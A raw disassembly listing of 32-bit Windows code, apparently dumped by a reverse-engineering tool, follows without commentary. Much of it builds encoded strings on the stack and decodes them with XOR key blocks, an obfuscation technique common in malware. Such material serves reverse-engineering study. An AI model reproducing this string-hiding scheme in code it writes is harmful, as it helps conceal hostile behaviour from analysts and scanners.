mov dword [ebp - 0x18d8], 0x7d6825ce
mov dword [ebp - 0x18d4], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xd70]
lea eax, [ebp - 0xd70]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd70], xmm1
movaps xmm1, xmmword [ebp - 0xd60]
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xd60], xmm1
push eax
call fcn.0044b300
mov edi, dword [ebp - 0x2be4]
add esp, 4
lea ecx, [ebp - 0x228]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45d1e0
sub ecx, edx
lea edx, [ebp - 0x228]
sar ecx, 1
push ecx
mov ecx, edi
call fcn.00454490
add esp, 4
test al, al
jne 0x45d556
lea eax, [ebp - 0x18b0]
mov dword [ebp - 0x18d0], 0x6fc5d684
push eax
lea eax, [ebp - 0x18d0]
mov dword [ebp - 0x18cc], 0x73722d63
push eax
lea ecx, [ebp - 0x3120]
mov dword [ebp - 0x18c8], 0x6de67725
mov dword [ebp - 0x18c4], 0x6f4f01e6
mov dword [ebp - 0x18c0], 0x58fd1a49
mov dword [ebp - 0x18bc], 0xc59c148e
mov dword [ebp - 0x18b8], 0x18044caf
mov dword [ebp - 0x18b4], 0x5e863d3
call fcn.0045f980
lea eax, [ebp - 0x1890]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x18b0]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3118]
mov dword [ebp - 0x18b0], 0x1cabbfd3
mov dword [ebp - 0x18ac], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x18a8], 0x88c194c
mov dword [ebp - 0x18a4], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x18a0], 0x35986e3d
mov dword [ebp - 0x189c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1898], 0x7d6825ce
mov dword [ebp - 0x1894], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1870]
mov dword [ebp - 0xd90], 0x6fc5d684
push eax
lea eax, [ebp - 0x1890]
mov dword [ebp - 0xd8c], 0x73722d63
push eax
lea ecx, [ebp - 0x3110]
mov dword [ebp - 0x1890], 0x6fc5d684
mov dword [ebp - 0x188c], 0x73722d63
mov dword [ebp - 0xd88], 0x6de67725
mov dword [ebp - 0xd84], 0x6f4f01e6
mov dword [ebp - 0x1888], 0x6de67725
mov dword [ebp - 0x1884], 0x6f4f01e6
mov dword [ebp - 0xd80], 0x58fd1a49
mov dword [ebp - 0xd7c], 0xc59c148e
mov dword [ebp - 0x1880], 0x58fd1a49
mov dword [ebp - 0x187c], 0xc59c148e
mov dword [ebp - 0xd78], 0x18044caf
mov dword [ebp - 0xd74], 0x5e863d3
mov dword [ebp - 0x1878], 0x18044caf
mov dword [ebp - 0x1874], 0x5e863d3
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xd90]
lea eax, [ebp - 0xd90]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd90], xmm1
movaps xmm1, xmmword [ebp - 0xd80]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xd80], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2c68], 0x4ffefe83
lea eax, [ebp - 0x2c58]
mov dword [ebp - 0x2c64], 0x53194e49
lea ecx, [ebp - 0x3108]
mov dword [ebp - 0x2c60], 0x88c194c
mov dword [ebp - 0x2c5c], 0xe6f7585
push eax
lea eax, [ebp - 0x2c68]
push eax
call fcn.0045f980
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x2c78], 0x1cabbfd3
lea eax, [ebp - 0x2c68]
mov dword [ebp - 0x2c74], 0x53194e0c
push eax
lea eax, [ebp - 0x2c78]
mov dword [ebp - 0x848], 0x88c194c
push eax
lea ecx, [ebp - 0x3100]
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2c70], 0x88c194c
mov dword [ebp - 0x2c6c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2c78]
mov dword [ebp - 0xb00], 0x4ffefe83
push eax
lea eax, [ebp - 0x2c88]
mov dword [ebp - 0xafc], 0x53194e49
push eax
lea ecx, [ebp - 0x30f8]
mov dword [ebp - 0x2c88], 0x4ffefe83
mov dword [ebp - 0x2c84], 0x53194e49
mov dword [ebp - 0xaf8], 0x88c194c
mov dword [ebp - 0xaf4], 0xe6f7585
mov dword [ebp - 0x2c80], 0x88c194c
mov dword [ebp - 0x2c7c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xb00]
lea eax, [ebp - 0xb00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb00], xmm1
call fcn.005d6a9d
add esp, 4
call fcn.0044d800
jmp 0x4580c6
lea ecx, [ebp - 0x8e8]
call fcn.0045ea80
lea ecx, [ebp - 0x900]
call fcn.0045ea80
lea ecx, [ebp - 0x900]
call fcn.0045ed00
lea ecx, [ebp - 0x928]
call fcn.0045ea80
lea ecx, [ebp - 0x13b8]
call fcn.0045ea80
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c7d0a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov dword [ebp - 0x1390], 0x5efb0b55
lea eax, [ebp - 0x13a0]
mov dword [ebp - 0x138c], 0xd1ce05de
mov dword [ebp - 0x1388], 0x5d4457a1
mov dword [ebp - 0x1384], 0x648d05c7
mov dword [ebp - 0x1380], 0xde7fd74
mov dword [ebp - 0x137c], 0xeec804d0
mov dword [ebp - 0x1378], 0x595d46e0
mov dword [ebp - 0x1374], 0xb8ebde3
mov dword [ebp - 0x1370], 0xe83d60a5
mov dword [ebp - 0x136c], 0xbb2aeae1
mov dword [ebp - 0x1368], 0x8d0de05c
mov dword [ebp - 0x1364], 0x1dcf1a67
mov dword [ebp - 0x1360], 0xc09257fb
mov dword [ebp - 0x135c], 0xc75b3834
mov dword [ebp - 0x1358], 0xf2aac394
mov dword [ebp - 0x1354], 0xb8070144
mov dword [ebp - 0x1350], 0xc47ba605
mov dword [ebp - 0x134c], 0x6297cb46
mov dword [ebp - 0x1348], 0xf5e4ee36
mov dword [ebp - 0x1344], 0x821e9f
mov dword [ebp - 0x13a0], 0x78cad09f
mov dword [ebp - 0x139c], 0x25393c69
mov dword [ebp - 0x1398], 0x61ff6b29
mov dword [ebp - 0x1394], 0x6d4f1bea
movaps xmm1, xmmword [ebp - 0x13a0]
mov dword [ebp - 0x8d0], 0x1cabbfd3
mov dword [ebp - 0x8cc], 0x53194e0c
mov dword [ebp - 0x8c8], 0x88c194c
mov dword [ebp - 0x8c4], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x8d0]
movaps xmmword [ebp - 0x13a0], xmm1
mov dword [ebp - 0x8c0], 0x35986e3d
mov dword [ebp - 0x8bc], 0xa3bc60fe
mov dword [ebp - 0x8b8], 0x7d6825ce
mov dword [ebp - 0x8b4], 0x5e869b7
movaps xmm1, xmmword [ebp - 0x8c0]
pxor xmm1, xmmword [ebp - 0x1390]
movaps xmmword [ebp - 0x1390], xmm1
mov dword [ebp - 0x8b0], 0x6ec79807
mov dword [ebp - 0x8ac], 0x85ab61b8
mov dword [ebp - 0x8a8], 0x2c323fc0
mov dword [ebp - 0x8a4], 0x6ee09d91
movaps xmm1, xmmword [ebp - 0x8b0]
pxor xmm1, xmmword [ebp - 0x1380]
movaps xmmword [ebp - 0x1380], xmm1
mov dword [ebp - 0x8a0], 0x9a5217d1
mov dword [ebp - 0x89c], 0xd449ca8a
mov dword [ebp - 0x898], 0xee688e32
mov dword [ebp - 0x894], 0x73a07313
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1370]
movaps xmmword [ebp - 0x1370], xmm1
mov dword [ebp - 0x890], 0xa4fc36db
mov dword [ebp - 0x88c], 0xbe294c14
mov dword [ebp - 0x888], 0x93cda2b4
mov dword [ebp - 0x884], 0xb2296f2d
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1360]
movaps xmmword [ebp - 0x1360], xmm1
mov dword [ebp - 0x880], 0xc47ba605
mov dword [ebp - 0x87c], 0x6297cb46
mov dword [ebp - 0x878], 0xf5e4ee36
mov dword [ebp - 0x874], 0x821e9f
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1350]
push eax
movaps xmmword [ebp - 0x1350], xmm1
call fcn.0044b300
add esp, 4
lea ecx, [ebp - 0x22e8]
call fcn.0045e8c0
push eax
push 0x66fe50
call fcn.0044b300
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0xb60], 0x4ffefe83
mov dword [ebp - 0xb5c], 0x53194e49
mov dword [ebp - 0xb58], 0x88c194c
lea eax, [ebp - 0xb60]
mov dword [ebp - 0xb54], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb60]
push eax
movaps xmmword [ebp - 0xb60], xmm1
call fcn.005d6a9d
add esp, 0xc
push 0
call fcn.005d703f
lea eax, [ebp - 0x1d60]
mov dword [ebp - 0x1d90], 0x78cad09f
push eax
lea eax, [ebp - 0x1d90]
mov dword [ebp - 0x1d8c], 0x25393c69
push eax
lea ecx, [ebp - 0x34f0]
mov dword [ebp - 0x1d88], 0x61ff6b29
mov dword [ebp - 0x1d84], 0x6d4f1bea
mov dword [ebp - 0x1d80], 0x5efb0b55
mov dword [ebp - 0x1d7c], 0xcadd06de
mov dword [ebp - 0x1d78], 0x510c40a2
mov dword [ebp - 0x1d74], 0x60841997
mov dword [ebp - 0x1d70], 0x4ea2eb66
mov dword [ebp - 0x1d6c], 0xa5d213cc
mov dword [ebp - 0x1d68], 0x455358a1
mov dword [ebp - 0x1d64], 0x6eeab3ff
call fcn.0045f980
lea eax, [ebp - 0x1d90]
mov dword [ebp - 0x8a0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1dc0]
mov dword [ebp - 0x89c], 0x53194e0c
push eax
lea ecx, [ebp - 0x34e8]
mov dword [ebp - 0x1dc0], 0x1cabbfd3
mov dword [ebp - 0x1dbc], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x1db8], 0x88c194c
mov dword [ebp - 0x1db4], 0xe6f7585
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x1db0], 0x35986e3d
mov dword [ebp - 0x1dac], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x1da8], 0x7d6825ce
mov dword [ebp - 0x1da4], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x1da0], 0x6ec79807
mov dword [ebp - 0x1d9c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
mov dword [ebp - 0x1d98], 0x2c323fc0
mov dword [ebp - 0x1d94], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1dc0]
mov dword [ebp - 0x11e0], 0x78cad09f
push eax
lea eax, [ebp - 0x1df0]
mov dword [ebp - 0x11dc], 0x25393c69
push eax
lea ecx, [ebp - 0x34e0]
mov dword [ebp - 0x1df0], 0x78cad09f
mov dword [ebp - 0x1dec], 0x25393c69
mov dword [ebp - 0x11d8], 0x61ff6b29
mov dword [ebp - 0x11d4], 0x6d4f1bea
mov dword [ebp - 0x1de8], 0x61ff6b29
mov dword [ebp - 0x1de4], 0x6d4f1bea
mov dword [ebp - 0x11d0], 0x5efb0b55
mov dword [ebp - 0x11cc], 0xcadd06de
mov dword [ebp - 0x1de0], 0x5efb0b55
mov dword [ebp - 0x1ddc], 0xcadd06de
mov dword [ebp - 0x11c8], 0x510c40a2
mov dword [ebp - 0x11c4], 0x60841997
mov dword [ebp - 0x1dd8], 0x510c40a2
mov dword [ebp - 0x1dd4], 0x60841997
mov dword [ebp - 0x11c0], 0x4ea2eb66
mov dword [ebp - 0x11bc], 0xa5d213cc
mov dword [ebp - 0x1dd0], 0x4ea2eb66
mov dword [ebp - 0x1dcc], 0xa5d213cc
mov dword [ebp - 0x11b8], 0x455358a1
mov dword [ebp - 0x11b4], 0x6eeab3ff
mov dword [ebp - 0x1dc8], 0x455358a1
mov dword [ebp - 0x1dc4], 0x6eeab3ff
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x11e0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x11e0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
lea eax, [ebp - 0x11e0]
pxor xmm1, xmmword [ebp - 0x11d0]
movaps xmmword [ebp - 0x11d0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11c0]
push eax
movaps xmmword [ebp - 0x11c0], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2e18], 0x4ffefe83
lea eax, [ebp - 0x2e08]
mov dword [ebp - 0x2e14], 0x53194e49
lea ecx, [ebp - 0x34d8]
mov dword [ebp - 0x2e10], 0x88c194c
mov dword [ebp - 0x2e0c], 0xe6f7585
push eax
lea eax, [ebp - 0x2e18]
push eax
call fcn.0045f980
lea eax, [ebp - 0x2e18]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2e28]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x34d0]
mov dword [ebp - 0x2e28], 0x1cabbfd3
mov dword [ebp - 0x2e24], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2e20], 0x88c194c
mov dword [ebp - 0x2e1c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2e28]
mov dword [ebp - 0xb80], 0x4ffefe83
push eax
lea eax, [ebp - 0x2e38]
mov dword [ebp - 0xb7c], 0x53194e49
push eax
lea ecx, [ebp - 0x3430]
mov dword [ebp - 0x2e38], 0x4ffefe83
mov dword [ebp - 0x2e34], 0x53194e49
mov dword [ebp - 0xb78], 0x88c194c
mov dword [ebp - 0xb74], 0xe6f7585
mov dword [ebp - 0x2e30], 0x88c194c
mov dword [ebp - 0x2e2c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xb80]
lea eax, [ebp - 0xb80]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb80], xmm1
call fcn.005d6a9d
add esp, 4
push 0
call fcn.005d703f
lea eax, [ebp - 0x2e38]
mov dword [ebp - 0x2e48], 0x1ccebffd
push eax
lea eax, [ebp - 0x2e48]
mov dword [ebp - 0x2e44], 0x537c4e74
push eax
lea ecx, [ebp - 0x34c8]
mov dword [ebp - 0x2e40], 0x88c194c
mov dword [ebp - 0x2e3c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2e48]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2e58]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x34c0]
mov dword [ebp - 0x2e58], 0x1cabbfd3
mov dword [ebp - 0x2e54], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2e50], 0x88c194c
mov dword [ebp - 0x2e4c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2e58]
mov dword [ebp - 0xb90], 0x1ccebffd
push eax
lea eax, [ebp - 0x2e68]
mov dword [ebp - 0xb8c], 0x537c4e74
push eax
lea ecx, [ebp - 0x34b8]
mov dword [ebp - 0x2e68], 0x1ccebffd
mov dword [ebp - 0x2e64], 0x537c4e74
mov dword [ebp - 0xb88], 0x88c194c
mov dword [ebp - 0xb84], 0xe6f7585
mov dword [ebp - 0x2e60], 0x88c194c
mov dword [ebp - 0x2e5c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xb90]
lea ecx, [ebp - 0x2330]
pxor xmm1, xmmword [ebp - 0x850]
mov edx, 0xe
movaps xmmword [ebp - 0xb90], xmm1
call fcn.0044c1d0
lea ecx, [ebp - 0xb90]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x2300]
call fcn.00460b90
add esp, 4
lea ecx, [ebp - 0x2330]
mov byte [ebp - 4], 0xd
call fcn.0045e620
sub esp, 0x18
lea eax, [ebp - 0x2300]
mov ecx, esp
mov dword [ebp - 0x2bec], esp
push eax
call fcn.0045e750
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x16d0]
push eax
lea eax, [ebp - 0x16f0]
mov dword [ebp - 0x16f0], 0x7dc4d3fc
push eax
lea ecx, [ebp - 0x34b0]
mov dword [ebp - 0x16ec], 0x7d6b2b68
mov dword [ebp - 0x16e8], 0x7aef7729
mov dword [ebp - 0x16e4], 0x6b1b05fc
mov dword [ebp - 0x16e0], 0x5cfa4059
mov dword [ebp - 0x16dc], 0xa3bc6090
mov dword [ebp - 0x16d8], 0x7d6825ce
mov dword [ebp - 0x16d4], 0x5e869b7
call fcn.0045f980
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
lea eax, [ebp - 0x16b0]
mov dword [ebp - 0x16d0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x16d0]
mov dword [ebp - 0x16cc], 0x53194e0c
push eax
lea ecx, [ebp - 0x34a8]
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x16c8], 0x88c194c
mov dword [ebp - 0x16c4], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x16c0], 0x35986e3d
mov dword [ebp - 0x16bc], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x16b8], 0x7d6825ce
mov dword [ebp - 0x16b4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1690]
mov dword [ebp - 0xef0], 0x7dc4d3fc
push eax
lea eax, [ebp - 0x16b0]
mov dword [ebp - 0xeec], 0x7d6b2b68
push eax
lea ecx, [ebp - 0x34a0]
mov dword [ebp - 0x16b0], 0x7dc4d3fc
mov dword [ebp - 0x16ac], 0x7d6b2b68
mov dword [ebp - 0xee8], 0x7aef7729
mov dword [ebp - 0xee4], 0x6b1b05fc
mov dword [ebp - 0x16a8], 0x7aef7729
mov dword [ebp - 0x16a4], 0x6b1b05fc
mov dword [ebp - 0xee0], 0x5cfa4059
mov dword [ebp - 0xedc], 0xa3bc6090
mov dword [ebp - 0x16a0], 0x5cfa4059
mov dword [ebp - 0x169c], 0xa3bc6090
mov dword [ebp - 0xed8], 0x7d6825ce
mov dword [ebp - 0xed4], 0x5e869b7
mov dword [ebp - 0x1698], 0x7d6825ce
mov dword [ebp - 0x1694], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xef0]
lea eax, [ebp - 0xef0]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xef0], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xee0]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2be4], esp
push eax
movaps xmmword [ebp - 0xee0], xmm1
call fcn.0045ebd0
lea eax, [ebp - 0x2e68]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x2e78]
mov dword [ebp - 0x2e78], 0x7bc9caa3
push eax
lea ecx, [ebp - 0x3498]
mov dword [ebp - 0x2e74], 0x3d6f6061
mov dword [ebp - 0x2e70], 0x26f47824
mov dword [ebp - 0x2e6c], 0xe021ae6
call fcn.0045f980
lea eax, [ebp - 0x2e78]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2e88]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3490]
mov dword [ebp - 0x2e88], 0x1cabbfd3
mov dword [ebp - 0x2e84], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2e80], 0x88c194c
mov dword [ebp - 0x2e7c], 0xe6f7585
call fcn.0045f980
mov dword [ebp - 0xba0], 0x7bc9caa3
lea eax, [ebp - 0x2e88]
mov dword [ebp - 0xb9c], 0x3d6f6061
push eax
lea eax, [ebp - 0x2e98]
mov dword [ebp - 0x2e98], 0x7bc9caa3
push eax
lea ecx, [ebp - 0x3488]
mov dword [ebp - 0x2e94], 0x3d6f6061
mov dword [ebp - 0xb98], 0x26f47824
mov dword [ebp - 0xb94], 0xe021ae6
mov dword [ebp - 0x2e90], 0x26f47824
mov dword [ebp - 0x2e8c], 0xe021ae6
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xba0]
lea eax, [ebp - 0xba0]
pxor xmm1, xmmword [ebp - 0x850]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xba0], xmm1
push eax
call fcn.0045ebd0
mov ecx, esi
mov byte [ebp - 4], 0xd
call fcn.00453a30
add esp, 0x48
lea ecx, [ebp - 0x2300]
push 0xc0
call fcn.0045e610
mov dl, 1
mov ecx, eax
call fcn.0044c4f0
sub esp, 0x14
lea eax, [ebp - 0x2300]
mov ecx, esp
push eax
call fcn.0045e750
lea ecx, [ebp - 0x840]
call fcn.0044c430
add esp, 0x18
push 0
call fcn.005d703f
int3